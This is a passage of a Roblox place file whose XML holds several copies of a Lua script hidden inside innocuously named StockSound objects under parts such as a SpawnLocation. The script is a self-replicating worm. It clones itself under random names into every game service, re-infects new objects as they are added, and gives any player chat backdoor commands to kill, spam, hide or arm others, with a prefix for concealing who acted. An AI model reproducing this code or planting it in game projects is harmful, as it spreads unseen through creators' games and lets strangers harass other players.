if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX914">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">sro7v</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX915">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ro8t4</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX916">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">true</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>-182</X>
					<Y>1</Y>
					<Z>4</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">1010</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX917">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures\SpawnLocation.png</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX918">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">78dfu26c5</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX919">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ntyqk890</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
